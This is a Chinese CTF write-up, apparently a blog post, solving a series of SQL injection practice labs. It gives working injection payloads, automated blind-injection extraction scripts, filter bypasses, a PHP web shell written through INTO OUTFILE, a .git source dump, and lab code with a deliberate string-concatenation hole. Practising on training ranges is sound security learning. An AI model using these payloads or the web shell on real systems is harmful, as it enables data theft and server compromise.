前言
好久没学习了,因为沉迷游戏了一段时间,我这人就是这样,一玩游戏就是连着玩几个月,直到一点都不想玩的时候才会静下心来学习,转眼一晃就6月16了,时间过得真快啊,当我放下游戏打开buuctf的时候才发现网站进入归档模式了,然后让我们跳转到dasctf的ctf2,虽然不知道为什么归档了,但是有地方刷题就行,结果dasctf那个平台也有问题,点击登录提示登录接口配置错误,开代理也没用
正巧前段时间有个朋友问我好靶场的题目,我就注册了个账号帮他看了一下,既然有账号,那就先玩好靶场吧
分支有很多,先从熟悉的来——Web渗透测试工程师,然后分类选的OWASP Top10
SQL注入
引导靶场-Mysql基础知识-选择题考核
点开一看就是一些mysql语句的基础知识

查询数据表的所有字段,选择第四个,我比较习惯叫它为从表里面查询列,意思一样的

查询所有数据库表,那就直接show tables即可

查users表里面的字段,答案如上,当然,有基础的基本上一下就能看出来,后面我就不多说了,直接上答案





然后就通关了
引导靶场-Mysql基础知识
直接开启靶机

对,MySQL是一个关系型数据库,后面的题目请自行看知识文档作答,应该不会有人连这种题都需要看wp吧,我就不放了

如何判断SQL注入-选择题考核
直接开启靶场





直接过

数据库语句执行靶场
直接秒


引导关-如何判断SQL注入是否存在
开靶场,又是看知识文档答题,就不放答案了,自己看着做

引导关-报错注入
还是一样,直接开环境,结果一开始提示我开启的太快了,我稍微等了一下,再次点击提示我需要超级会员,我一看价格,29.9一个月,靠,原本还没什么动力的,这要是开了没刷完不亏死,干了
这一题也是看知识作答,就不给答案了,自己看着做

引导关-报错注入-问答题目
问答题目,先自己做,不会再看答案













报错注入-sql注入-字符型
开靶场

是双引号,换成双引号闭合,然后用报错注入

为了方便查看报错数据,这里切换到burpsuite了,选中后可以查看到右边解码后的数据,继续查询当前数据库的所有表,老语句了,就不截图了(实际是忘记截图了),然后就是查flag表里面的列,然后就能够通过flag表flag列获取到半个flag了

flag{cd4d0c0101254d1f82d8c0a然后利用reverse进行倒置获取完整flag

将导致后的数据复制到我之前的那个转换脚本里面
# 脚本代码 print("--" * 10 + "欢迎使用数据转置脚本" + "--" * 10) print("退出请输入:exit") while True: input_string = input("请输入你要倒置的字符串: \n") if input_string == 'exit': break reverse_string = input_string[::-1] print(reverse_string)结果
c0101254d1f82d8c0a935c85fde}拼接
flag{cd4d0c0101254d1f82d8c0a935c85fde}

数据库基础知识
我也不知道它为什么是这个顺序,反正我是按照它给的顺序做题,做完一个刷新网页后就自动将没做的往前排,顺序乱没事,标题我都有,看标题自己找
还是一样开靶场








sql注入-POST类型注入-1
开靶场,然后抓包,发送一个单引号测试

报错了,然后直接用报错注入,先获取数据库名
' and updatexml(1,concat(0x7e,database(),0x7e),1)#

和之前是一样的,那么flag位置多半也是一样的,直接读取
' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)#结果
flag{8e27a6abe62a4e8fa74c5a2倒置
' and updatexml(1,reverse(concat(0x7e,(select flag from flag),0x7e)),1)#结果
}d80d210932a5c47af8e4a26eba6转换
6abe62a4e8fa74c5a239012d08d}拼接
flag{8e27a6abe62a4e8fa74c5a239012d08d}

sql注入-POST类型注入-2
还是一样开环境,然后burpsuite抓包测试单双引号

双引号报错,继续

因为前面那个报错信息有点没搞懂,3个双引号我理解,两个反斜杠单引号没看懂,直接测试,发现没问题能够正常注入,那就直接获取数据
" and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)#

这两题就一个单双引号字符的区别,其他的一样
flag{98eec9244f0d4a3392aba78倒置
}03a010c2387aba2933a4d0f4429转换
9244f0d4a3392aba7832c010a30}拼接
flag{98eec9244f0d4a3392aba7832c010a30}

sql注入-字符型-1
还是一样,开启靶场,抓包测试,单引号报错,看一下报错信息
(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''')' at line 1")实际关键点是
near '''')' at去掉最外层的包裹引用,实际上的信息是
''')我们注入时注入的是单引号,所以有三个单引号,但是缺少一个反括号,所以语法报错了
那么我们的闭合应该为
')这一次的提示
(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '')' at line 1")因为我们没有注释,所以多了一个单引号加阔号,但是这就说明我们的确正确闭合了前面的一个,所以后面的一个才会多出来,接下来正常注释掉即可
') and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)#半个flag
flag{18957d8469ba44199e91da8倒置
') and updatexml(1,reverse(concat(0x7e,(select flag from flag),0x7e)),1)#结果
}08379f9098ad19e99144ab9648d转换
d8469ba44199e91da8909f97380}拼接
flag{18957d8469ba44199e91da8909f97380}

这一题我一开始也是没有注意到阔号,倒置浪费了一点时间,后面看了评论才去仔细看了一眼报错信息发现的
sql注入-字符型-2
还是一样,开靶场,然后burpsuite抓包测试单双引号,发现双引号报错,报错信息如下
(1064, 'You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near \'"1""\' at line 1')最外层是报错引用的单引号,里面有三个双引号,没问题,直接注入
"+and+updatexml(1,concat(0x7e,(select+flag+from+flag),0x7e),1)--+因为是在url中,所以需要url编码
flag{445fc7a72e554400a0b86b9倒置
"+and+updatexml(1,reverse(concat(0x7e,(select+flag+from+flag),0x7e)),1)--+结果
}7d089eb6b9b68b0a004455e27a7转换
7a72e554400a0b86b9b6be980d7}拼接
flag{445fc7a72e554400a0b86b9b6be980d7}

sql注入-布尔盲注
还是一样开靶场

按照提示输入1看看

输入0或其他非法字符看看

直接测试注入

没问题,数字型,异或结果为真
构造一下payload
假^真 = 真 0^1 = true 0^想要为真的条件 0^(length((select+flag+from+flag))>{num}) ->获取长度开始搓脚本
import requests import time # 好靶场 异或盲注 get def get_length(user_input): url = user_input length = 0 for num in range(1, 50): payload = f"0^(length((select+flag+from+flag))={num})" test_url = url + payload try: response = requests.get(test_url) if "true" in response.text: length = num print(f"flag长度为: {num}") break except: continue time.sleep(0.2) return length def get_flag(user_input,len): url = user_input flag = "" for i in range(1,len+1): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"0^(ascii(substr((select+flag+from+flag),{i},1))>={mid})" test_url = url + payload try: response = requests.get(test_url) if "true" in response.text: low = mid + 1 else: high = mid - 1 except: print("请求失败,重试...") time.sleep(1) continue time.sleep(0.1) final_ascii = high char = chr(final_ascii) flag += char print(f"flag为:{flag}") def exploit(): input_url = input("请输入url: \n") flag_len = get_length(input_url) get_flag(input_url,flag_len) if __name__ == "__main__": exploit()然后运行传入url地址
http://jxnv8ug.bug2.sanjiuctf.com:8888/check?id=运行结果
D:\VScode\Project_Directory>D:/python/python.exe d:/VScode/Project_Directory/learn/Python/爆破flag_好靶场_异或盲注.py 请输入url: http://jxnv8ug.bug2.sanjiuctf.com:8888/check?id= flag长度为: 16 flag为:flag{22b5f3e20e}

sql注入-布尔盲注-1
开启靶场,还是1,0确定真和假,然后开始测试注入
0^0 和 0^1 都为 false 说明不是数字型 1'+and+1=1--+ 为 false 说明没有闭合成功 1"+and+1=1--+ 为 true 闭合成功了吗? 1"+and+1=2--+ 为 true 0"+and+1=2--+ 为 false 说明没有闭合成功,因为数据库直接按位比较了,看到开头是0和1直接给出真假 依此,我们可以判断出只有单引号进行了闭合 因为如果没有闭合那么1开头返回的结果应该是真,上面却返回了假,那就只有一种可能 上面的单引号的确进行了闭合,但是闭合不完整,所以整个语句报错,所以结果为false 比如单引号后面多了阔号或者其他符号,只用一个单引号是无法完整闭合的 所以我们补充一个'1'='1,让它自己闭合 1'+and+1=1+and+'1'='1 为 true 说明后面的闭合成功了 1'+and+1=2+and+'1'='1 为 false 说明语句没问题了 构造获取长度payload 1'+and+(length((select+flag+from+flag))={num})+and+'1'='1 构造获取flag的payload 1'+and+(ascii(substr((select+flag+from+flag),{i},1))>={mid})+and+'1'='1修改之前那个脚本的payload部分,运行脚本
D:\VScode\Project_Directory>D:/python/python.exe d:/VScode/Project_Directory/learn/Python/爆破flag_好靶场_异或盲注.py 请输入url: http://2cia5fc.bug2.sanjiuctf.com:8888/check?id= flag长度为: 38 flag为:flag{f2ca6b716e75469aad160634add37b86}

sql注入-布尔盲注-2
开靶场,还是抓包测试1,0判断真假,然后去测试注入
0^0 和 0^1 都为 false 说明不是数字型 1'+and+1=1--+ 和 1'+and+1=2--+ 都为 true 说明没有注入成功 1"+and+1=1--+ 为 false 注入了,但是闭合没成功 因为如果没有注入成功,1开头,返回的应该是true 1"+and+1=1+and+"1"="1 为 true 暂不确定 1"+and+1=2+and+"1"="1 为 false 确定,闭合成功 构造获取长度的payload 1"+and+(length((select+flag+from+flag))={num})+and+"1"="1 构造获取flag的payload 1"+and+(ascii(substr((select+flag+from+flag),{i},1))>={mid})+and+"1"="1修改脚本的payload部分,运行脚本
D:\VScode\Project_Directory>D:/python/python.exe d:/VScode/Project_Directory/learn/Python/爆破flag_好靶场_异或盲注.py 请输入url: http://h9orrgp.bug1.sanjiuctf.com:8888/check?id= flag长度为: 38 flag为:flag{7c3884b94f3844778cfd243bb783433f}

万能密码
还是一样,开靶场,就如标题一样, 直接尝试万能密码
admin ' or 1=1#

告诉了我们查询的语句,发现password前面是and,那么直接在用户名输入框注入
admin' or 1=1--+还是不行,测试了好几个都不行,我就在想是不是过滤了什么,但是空格的确存在,要不然上面这个查询的语句应该没有空格,可实际就是过滤了空格,直接–+会不成功,得换成– 1这样
admin' -- 1 1


报错注入-sql注入-数字型
开靶场,随便测试一个数字

直接用联合查询获取数据,还是先猜字段

6报错了,字段数为5,接下来就是看回显

还是一样,用姓名来读取数据


sql注入-强制报错注入
开靶场

点击查询看看

单引号闭合,继续进行报错
zhangsan' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)--+

提示语法错误,多了一个单引号,多半是注释没生效,换一个注释符试试
zhangsan' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)#

前面那个估计还是因为空格的原因,在最后随便加一个数字即可,这里获取到了数据,直接倒置再获取一遍
zhangsan' and updatexml(1,reverse(concat(0x7e,(select flag from flag),0x7e)),1)#半个flag
flag{0b5f6eaf2f9f40ff8dd3edd倒置后的flag
}e3c114f8cdde3dd8ff04f9f2fae转换
eaf2f9f40ff8dd3eddc8f411c3e}拼接
flag{0b5f6eaf2f9f40ff8dd3eddc8f411c3e}

sql注入-UA头注入
开靶场,然后开启抓包,点击查询

拼接UA头进行的查询,直接修改UA头进行注入
zhangsan' or 1=1#

注入成功,接下来获取flag
直接用联合查询,还是先判断字段数,因为order by无法使用,所以union一个一个的加

有6个字段,接下来就是获取数据


sql注入-Referer头注入
还是一样开靶场,抓包

直接修改Referer头,然后猜字段

字段数为6,继续获取数据


sql注入-Cookie头注入
一样,开靶场,抓包

修改cookie

直接获取数据


sql注入-orderby后注入
开靶场,抓包

随便试一个数字

报错了,那就尝试报错注入
updatexml(1,concat(0x7e,(select+flag+from+flag),0x7e),1)

倒置
updatexml(1,reverse(concat(0x7e,(select+flag+from+flag),0x7e)),1)

转换
0b60d0a48d989a9daddf002b9e5}拼接
flag{c4ef00b60d0a48d989a9daddf002b9e5}

sql注入-时间盲注
开靶场

用户id,多半是数字型,先正常放包看一遍响应时长1045

然后使用数字型注入
1+and+sleep(1)

刚好差不多多了1秒的时间,所以注入成功,直接构造payload
1+and+elt(条件,sleep(2),0) 获取flag长度 1+and+elt((length((select+flag+from+flag))={num}),sleep(2),0) 获取flag 1+and+elt((ascii(substr((select+flag+from+flag),{i},1))>={mid}),sleep(2),0) 验证flag 1+and+elt(((select+flag+from+flag)='{flag}'),sleep(2),0)然后就是写脚本进行爆破
import requests import time def get_length(user_input): url = user_input length = 0 for num in range(1, 50): payload = f"1+and+elt((length((select+flag+from+flag))={num}),sleep(2),0)" test_url = url + payload start_time = time.time() try: response = requests.get(test_url, timeout=5) response_time = time.time() - start_time if response_time >= 2: flag_length = num print(f"flag长度为: {num}") break except: continue time.sleep(0.2) return flag_length def Bisection_method(payload_template,url,Standard_time,i): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = payload_template.format(i=i,mid=mid) test_url = url + payload start_time = time.time() try: response = requests.get(test_url, timeout=(Standard_time + 5)) response_time = time.time() - start_time if response_time >= (Standard_time + 1): low = mid + 1 else: high = mid - 1 except: print("请求失败,重试...") time.sleep(1) continue time.sleep(0.1) char = chr(high) return char def get_flag(user_input,len): url = user_input flag = "" for i in range(1,len+1): payload = "1+and+elt((ascii(substr((select+flag+from+flag),{i},1))>={mid}),sleep(2),0)" Data = Bisection_method(payload,url,1,i) flag += Data print(f"当前flag为:{flag}") return flag def check_flag(user_input,flag): url = user_input flag_len = len(flag) payload = f"1+and+elt(((select+flag+from+flag)='{flag}'),sleep(2),0)" test_url = url + payload start_time = time.time() try: response = requests.get(test_url,timeout=6) response_time = time.time() - start_time if response_time >= 2: print("flag无误") return flag except: pass print("flag有问题,开始逐位校验...") flag_chars = list(flag) for i in range(1,flag_len+1): current_char = flag_chars[i - 1] ord_num = ord(current_char) payload = f"1+and+elt((ascii(substr((select+flag+from+flag),{i},1))={ord_num}),sleep(2),0)" test_url = url + payload start_time = time.time() try: response = requests.get(test_url,timeout=6) response_time = time.time() - start_time if response_time >= 2: continue else: print(f"第{i}位字符错误,正在重新爆破...") payload = "1+and+elt((ascii(substr((select+flag+from+flag),{i},1))>={mid}),sleep(2),0)" char = Bisection_method(payload,url,1,i) print(f"第{i}位字符为:{char}") flag_chars[i - 1] = char except: pass corrected_flag = "".join(flag_chars) return corrected_flag def exploit(): input_url = input("请输入url: \n") flag_len = get_length(input_url) flag = get_flag(input_url,flag_len) corrected_flag = check_flag(input_url,flag) print(f"flag为:{corrected_flag}") if __name__ == "__main__": exploit()我写的比较模块化,因为我打算后面单独拧出来,后续使用直接导入即可,另一个方面就是延迟盲注容易收网络波动影响,准确率可能不是100%,所以需要反复验证,代码就多了些,其中二分法的函数,我打算拧出来
运行脚本
D:\VScode\Project_Directory>D:/python/python.exe d:/VScode/Project_Directory/learn/Python/爆破flag_好靶场_延迟盲注.py 请输入url: http://pmy3dis.bug1.sanjiuctf.com:8888/check?id= flag长度为: 16 当前flag为:f 当前flag为:fl 当前flag为:fla 当前flag为:flag 当前flag为:flag{ 当前flag为:flag{f 当前flag为:flag{f1 当前flag为:flag{f16 当前flag为:flag{f160 当前flag为:flag{f160b 当前flag为:flag{f160b4 当前flag为:flag{f160b40 当前flag为:flag{f160b404 当前flag为:flag{f160b4047 当前flag为:flag{f160b40475 当前flag为:flag{f160b40475} flag无误 flag为:flag{f160b40475}

sql注入-时间盲注-1
开靶场

实测需要使用单引号来进行闭合,然后加上注释,就可以成功延迟
所以简单修改脚本的payload即可,然后运行脚本
请输入url: http://xhas2ip.bug1.sanjiuctf.com:8888/check?id= flag长度为: 38 当前flag为:f 当前flag为:fl 当前flag为:fla 当前flag为:flag 当前flag为:flag{ 当前flag为:flag{9 当前flag为:flag{91 当前flag为:flag{910 当前flag为:flag{9107 当前flag为:flag{91072 当前flag为:flag{91072a 当前flag为:flag{91072a4 当前flag为:flag{91072a48 当前flag为:flag{91072a485 当前flag为:flag{91072a485e 当前flag为:flag{91072a485ea 当前flag为:flag{91072a485eac 当前flag为:flag{91072a485eac4 当前flag为:flag{91072a485eac44 当前flag为:flag{91072a485eac44c 当前flag为:flag{91072a485eac44c6 当前flag为:flag{91072a485eac44c68 当前flag为:flag{91072a485eac44c683 当前flag为:flag{91072a485eac44c6839 当前flag为:flag{91072a485eac44c68392 当前flag为:flag{91072a485eac44c683924 当前flag为:flag{91072a485eac44c683924f 当前flag为:flag{91072a485eac44c683924fd 当前flag为:flag{91072a485eac44c683924fd7 当前flag为:flag{91072a485eac44c683924fd75 当前flag为:flag{91072a485eac44c683924fd756 当前flag为:flag{91072a485eac44c683924fd756f 当前flag为:flag{91072a485eac44c683924fd756f6 当前flag为:flag{91072a485eac44c683924fd756f6e 当前flag为:flag{91072a485eac44c683924fd756f6e6 当前flag为:flag{91072a485eac44c683924fd756f6e68 当前flag为:flag{91072a485eac44c683924fd756f6e68b 当前flag为:flag{91072a485eac44c683924fd756f6e68b} flag无误 flag为:flag{91072a485eac44c683924fd756f6e68b}

sql注入-时间盲注-2
开靶场,然后手工测试,发现就是单引号换成了双引号而已,简单调整一下脚本就可以用,简直舒服,3个题目,一个脚本,一下就搓出来了
请输入url: http://muelzuc.bug1.sanjiuctf.com:8888/check?id= flag长度为: 38 当前flag为:f 当前flag为:fl 当前flag为:fla 当前flag为:flag 当前flag为:flag{ 当前flag为:flag{a 当前flag为:flag{a9 当前flag为:flag{a94 当前flag为:flag{a94c 当前flag为:flag{a94c6 当前flag为:flag{a94c64 当前flag为:flag{a94c649 当前flag为:flag{a94c6490 当前flag为:flag{a94c6490e 当前flag为:flag{a94c6490ed 当前flag为:flag{a94c6490ed4 当前flag为:flag{a94c6490ed4e 当前flag为:flag{a94c6490ed4e4 当前flag为:flag{a94c6490ed4e46 当前flag为:flag{a94c6490ed4e46f 当前flag为:flag{a94c6490ed4e46fb 当前flag为:flag{a94c6490ed4e46fb9 当前flag为:flag{a94c6490ed4e46fb91 当前flag为:flag{a94c6490ed4e46fb912 当前flag为:flag{a94c6490ed4e46fb9129 当前flag为:flag{a94c6490ed4e46fb91293 当前flag为:flag{a94c6490ed4e46fb91293f 当前flag为:flag{a94c6490ed4e46fb91293fa 当前flag为:flag{a94c6490ed4e46fb91293fa8 当前flag为:flag{a94c6490ed4e46fb91293fa8e 当前flag为:flag{a94c6490ed4e46fb91293fa8e8 当前flag为:flag{a94c6490ed4e46fb91293fa8e8a 当前flag为:flag{a94c6490ed4e46fb91293fa8e8a0 当前flag为:flag{a94c6490ed4e46fb91293fa8e8a0b 当前flag为:flag{a94c6490ed4e46fb91293fa8e8a0b7 当前flag为:flag{a94c6490ed4e46fb91293fa8e8a0b7f 当前flag为:flag{a94c6490ed4e46fb91293fa8e8a0b7fb 当前flag为:flag{a94c6490ed4e46fb91293fa8e8a0b7fb} flag无误 flag为:flag{a94c6490ed4e46fb91293fa8e8a0b7fb}

密钥档案守护者
题目:
你作为一名安全测试人员,接到了一项任务:测试某企业的「密钥档案守护者」系统的安全性。该系统使用 SQLite 数据库存储敏感信息,并且存在 SQL 注入漏洞。你的目标是通过这个漏洞获取系统中的动态密钥,然后使用该密钥验证系统完整性,最终获得隐藏在系统中的答案。 系统管理员为了保护密钥信息,同时,系统还会记录错误验证次数,超过 3 次会触发 IP 记录警告
简单来讲就是sql注入获取密钥,然后用密钥验证,验证成功获取flag,失败3刺触发ip记录


0和1响应不同,可以布尔盲注,继续测试注入
1' 响应查询服务不可用 1' --+ 响应未找到相关档案记录 说明单引号有用,但是闭合失败 1'--+1 一样,未找到档案记录 1'# 未找到 单引号报错了,加上注释符是未找到 说明左右肯定是单引号,但是闭合有问题,试试括号 1')--+1 和 1')#均失败 直接让他自己闭合吧 1'+and+1=1+and+'1'='1 都不行,测试双引号,发现响应的也是档案未记录 只有单引号不加注释的时候才会报错查询服务不可用 也就是说单引号的确引发了语法错误,但是闭合不成功 没头绪,看wp离谱,1有档案,
1'怎么就没有档案了呢,不是注释没生效,也不是闭合的问题,看了一眼wp,别人直接注入了既然不是注释问题 就是响应问题 如果报错页面会返回error,如果正常页面会返回未找到档案记录 直接 order by 获取字段数

5报错了,所以字段数是四,看回显

sqlite和mysql不同,构造的语法也会有点不同,可以通过sqlite_master来获取所有表结构的信息
1' union select 1,2,3,group_concat(name) from sqlite_master--

dynamic_keys,intermediate_info 前者有waf过滤,写wp的也没绕过,评论也没看到绕过,我就更不用说了,后者是在评论区里面看到的,其中就有系统的动态密钥,校验完整性也可以拿到flag
作者——刁宝 补:绕过dynamic_keys表名限制 1. 拼接绕过 name='dyn'||'amic_keys' 2. 编码绕过 name=char(100)||char(121)||char(110)||char(97)||char(109)||char(105)||char(99)||char(95)||char(107)||char(101)||char(121)||char(115) 3. like 模糊匹配 name like '%amic_key%' 可惜我拿到这张表的字段也无法访问其中的内容,有会的佬捞一下那么我们就不折腾了,直接从wp里面的system_config来获取flag
1' union select 1,2,3,sql from sqlite_master where name="system_config"--

3个字段,config_key,config_value,update_time
1' union select 1,2,3,config_key from system_config --

config_key的值为flag,那么config_value的值就是正确的flag了
1' union select 1,2,3,config_value from system_config --


这题算是看着wp解的吧,虽然学了点知识,但是感觉还是不如自己解出来的舒服
sql注入-二次注入
开靶场
题目:
二次注入是什么,怎么去利用 flag在admin的账号里,你能拿到吗

二次注入嘛,看过我之前的文章应该都知道,先正常注册一个账号登录看看


两点,UPDATE如果利用这个注入,那就只能重置管理员的密码来进行登录,第二字符串包裹用的是单引号
简单找了一下之前的笔记,没记错,的确做过,就是直接重置管理员的密码
这里我们知道管理员的账号是admin(题目提示),然后我们注册一共
admin'#的用户名,然后区修改密码就可以重置管理员的密码了

登录,然后修改密码

然后登录


sql注入-堆叠注入
开靶场,抓包测试

直接闭合语句,然后使用堆叠注入

直接查数据

也可以use,然后去获取数据,因为没有过滤select,所以直接用select来读取数据了

sql注入-宽字节注入
开靶场,原理之前的web安全——sql注入有讲

靶场底下也有讲原理


sql注入-and和or被过滤了
开靶场,看标题就知道,可以尝试双写绕过或者使用字符绕过,看过滤情况

看提示,是直接替换为空,而且只进行了一次替换,所以是双写绕过
先正常查询一下,发现不管怎么查询都是0,那就报错或者联合注入
zhangsan' oorrder by 1#判断出字段数为6,但是获取数据发现返回的也是0

不过报错注入可以用,所以使用报错注入
' anandd updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)--+

倒置一下
' anandd updatexml(1,reverse(concat(0x7e,(select flag from flag),0x7e)),1)--+

转换拼接
flag{ca03d60c154648b281b2ce1a285238bb}

sql注入-注释过滤
之前SQL注入——大总结里面有写,针对注释过滤的绕过技巧,可自行查看,如果还记得可直接尝试,打开靶场

直接过滤了
--和#,然后替换成空了,先用url编码尝试,发现没用,那就再次输入一个却单引号的条件,让他自己去闭合zhangsan' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1) and '1'='1 flag{467a8f0a408e4d29992909b

倒置
zhangsan' and updatexml(1,reverse(concat(0x7e,(select flag from flag),0x7e)),1) and '1'='1 }012a68914b90929992d4e804a0f转换拼接
flag{467a8f0a408e4d29992909b41986a210}

sql注入-参数base64
开靶场

我用的2025.10.6的pro版本,可以看到右边有对应的解码内容,我们直接修改然后应用变更即可

尝试注入,发现布尔不对,只返回存在和不存在,但是以zhangsan开头的注入语句也会提示不存在,不过可以正常延迟,所以使用延迟盲注

因为是post请求,所以把之前的脚本拿过来然后调整一下,再对数据进行base64编码即可,先构造payload
zhangsan' and elt(条件,sleep(10),1)# zhangsan' and elt(length((select flag from flag))={num},sleep(10),1)# zhangsan' and elt((ascii(substr((select flag from flag),{i},1))>={mid}),sleep(2),0)#因为base64编码的sql注入靶场目前就看到这一个,自然是怎么快怎么来,就没有注意代码的书写,可能有点乱
import requests import time import base64 def Bisection_method_time(payload_template,url,i): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = payload_template.format(i=i,mid=mid) string_bytes = payload.encode('utf-8') encoded_payload = base64.b64encode(string_bytes) data = { "action" : "test", "username" : encoded_payload } start_time = time.time() try: response = requests.post(url, data=data,timeout=10) response_time = time.time() - start_time if response_time >= 2: low = mid + 1 else: high = mid - 1 except: print("请求失败,重试...") time.sleep(1) continue time.sleep(0.1) char = chr(high) return char def get_length(user_input): url = user_input length = 0 for num in range(1, 50): payload = f"zhangsan' and elt(length((select flag from flag))={num},sleep(3),1)#" string_bytes = payload.encode('utf-8') encoded_payload = base64.b64encode(string_bytes) data = { "action" : "test", "username" : encoded_payload } start_time = time.time() try: response = requests.post(url,data=data, timeout=10) response_time = time.time() - start_time if response_time >= 2: flag_length = num print(f"flag长度为: {num}") break except: continue time.sleep(0.2) return flag_length len = get_length("http://xadonwl.bug2.sanjiuctf.com:8888/") def get_flag(user_input,len): url = user_input flag = "" for i in range(1,len+1): payload = "zhangsan' and elt((ascii(substr((select flag from flag),{i},1))>={mid}),sleep(3),0)#" Data = Bisection_method_time(payload,url,i) flag += Data print(f"当前flag为:{flag}") return flag get_flag("http://xadonwl.bug2.sanjiuctf.com:8888/",len)运行结果
flag长度为: 38 ... 当前flag为:flag{ba745d5e21374310bac418461a2bbac7}

sql注入-UNION和Select都被我过滤了
一般看到这种情况的标题,基本上就只剩下堆叠注入了,或者根据过滤情况尝试绕过,还是一样,开靶场

很明显,可以大小写混用绕过,正差查询查看单双引号

语句提示了是单引号,那么直接使用单引号闭合,然后过滤了注释,那么尾部需要用让他自己闭合,然后就是注入,因为前面测试看到可以报错,所以使用报错注入,因为过滤了空格,所以使用
&&符号,然后需要进行url编码,然后大小写混用的select,payload如下:zhangsan'%26%26updatexml(1,concat(0x7e,(SeLEct(flag)from(flag)),0x7e),1)%26%26'1'='1

倒置
zhangsan'%26%26updatexml(1,reverse(concat(0x7e,(SeLEct(flag)from(flag)),0x7e)),1)%26%26'1'='1 }57dd2410c67d1bfb9244d9eca18转换拼接
flag{f56ef81ace9d4429bfb1d76c0142dd75}

sql注入-空格和注释都被我过滤了
开靶场

好像不影响,上一题的payload好像可以直接用
zhangsan'%26%26updatexml(1,concat(0x7e,(SeLEct(flag)from(flag)),0x7e),1)%26%26'1'='1 flag{d673527f60ff4aa486ec457

没影响,直接倒置
zhangsan'%26%26updatexml(1,reverse(concat(0x7e,(SeLEct(flag)from(flag)),0x7e)),1)%26%26'1'='1 }75b6797bd754ce684aa4ff06f72拼接转换
flag{d673527f60ff4aa486ec457db7976b57}

SQL注入也可以Getshell
这个就比较简单了,直接
select 内容 into outfile 文件位置即可-1' union select "1","<?php eval($_POST['x']); ?>","3","4","5" into outfile "/var/www/html/webshell3.php"--+

然后访问webshell.php文件

为什么是webshell3,因为我前面是打算直接使用get请求,然后浏览器直接执行命令的,结果一直有问题,没办法,换成post,然后用蚁剑连接的
flag{e86d8907431343c5a6520560bb3a8644}

ly综合靶场
开靶场

简单尝试一下万能密码,没有结果,去看注册功能,随便注册一个账号登录看看

有个人资料,那就好办了,肯定是二次注入,然后就没别的信息和提示了,随便测试了几下没有结果,回头看了一下发现这题还考到了信息泄露,直接dirsearch扫一下目录,发现.git目录,然后利用githack获取一下
python GitHack.py http://8ruy51x.bug1.sanjiuctf.com:8888/.git然后就是代码审计了,run.py没什么,init.sql信息如下
CREATE DATABASE IF NOT EXISTS notehub CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; USE notehub; DROP TABLE IF EXISTS secrets; DROP TABLE IF EXISTS users; CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL, bio TEXT ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; CREATE TABLE secrets ( id INT AUTO_INCREMENT PRIMARY KEY, owner_id INT NOT NULL, flag TEXT NOT NULL, CONSTRAINT fk_owner FOREIGN KEY (owner_id) REFERENCES users(id) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; INSERT INTO users (username, password, bio) VALUES ('admin', 'Admin@123', '管理员简介,不对普通用户公开。'); INSERT INTO secrets (owner_id, flag) VALUES ( (SELECT id FROM users WHERE username = 'admin'), 'flag{notehub_second_order_sqli}' );auth.py
from flask import Blueprint, render_template, request, redirect, url_for, flash, session, g from .. import get_db auth_bp = Blueprint("auth", __name__, url_prefix="/auth") @auth_bp.route("/register", methods=["GET", "POST"]) def register(): if request.method == "POST": username = request.form.get("username", "").strip() password = request.form.get("password", "").strip() if not username or not password: flash("用户名和密码不能为空") return render_template("register.html") db = get_db() try: with db.cursor() as cursor: # 使用参数化插入,表面看起来是安全的 sql = "INSERT INTO users (username, password, bio) VALUES (%s, %s, %s)" # [SAFE] cursor.execute(sql, (username, password, "这个人很懒,什么都没有写。")) db.commit() flash("注册成功,请登录") return redirect(url_for("auth.login")) except Exception: db.rollback() flash("注册失败,可能是用户名已存在") return render_template("register.html") return render_template("register.html") @auth_bp.route("/login", methods=["GET", "POST"]) def login(): if request.method == "POST": username = request.form.get("username", "").strip() password = request.form.get("password", "").strip() db = get_db() with db.cursor() as cursor: # 使用参数化查询登录(安全) sql = "SELECT id, username, password FROM users WHERE username = %s" # [SAFE] cursor.execute(sql, (username,)) user = cursor.fetchone() if not user or user["password"] != password: flash("用户名或密码错误") return render_template("login.html") session["username"] = user["username"] flash("登录成功") return redirect(url_for("profile.dashboard")) return render_template("login.html") @auth_bp.route("/logout") def logout(): session.clear() return redirect(url_for("auth.login"))profile.py
from flask import Blueprint, render_template, request, redirect, url_for, flash, g from .. import get_db profile_bp = Blueprint("profile", __name__) def login_required(func): from functools import wraps @wraps(func) def wrapper(*args, **kwargs): if not g.user: return redirect(url_for("auth.login")) return func(*args, **kwargs) return wrapper @profile_bp.route("/dashboard") @login_required def dashboard(): db = get_db() with db.cursor() as cursor: # 安全查询当前用户信息 sql = "SELECT id, username, bio FROM users WHERE username = %s" # [SAFE] cursor.execute(sql, (g.user,)) user = cursor.fetchone() return render_template("dashboard.html", user=user) @profile_bp.route("/profile", methods=["GET", "POST"]) @login_required def profile(): db = get_db() if request.method == "POST": new_bio = request.form.get("bio", "").strip() with db.cursor() as cursor: # 第一步:安全查询(参数化) sql = "SELECT id, username FROM users WHERE username = %s" # [SAFE] cursor.execute(sql, (g.user,)) user = cursor.fetchone() if not user: flash("用户不存在") return redirect(url_for("profile.profile")) # 二阶注入关键:username 是之前“安全”插入数据库的,现在被直接拼接回 SQL username_from_db = user["username"] # 没有参数化,直接字符串拼接,导致二阶注入 update_sql = ( "UPDATE users " "SET bio = '" + new_bio + "' " "WHERE username = '" + username_from_db + "'" # [VULN] ) cursor.execute(update_sql) # [VULN] db.commit() flash("个人简介已更新") return redirect(url_for("profile.profile")) # GET:安全查询用户信息 with db.cursor() as cursor: sql = "SELECT id, username, bio FROM users WHERE username = %s" # [SAFE] 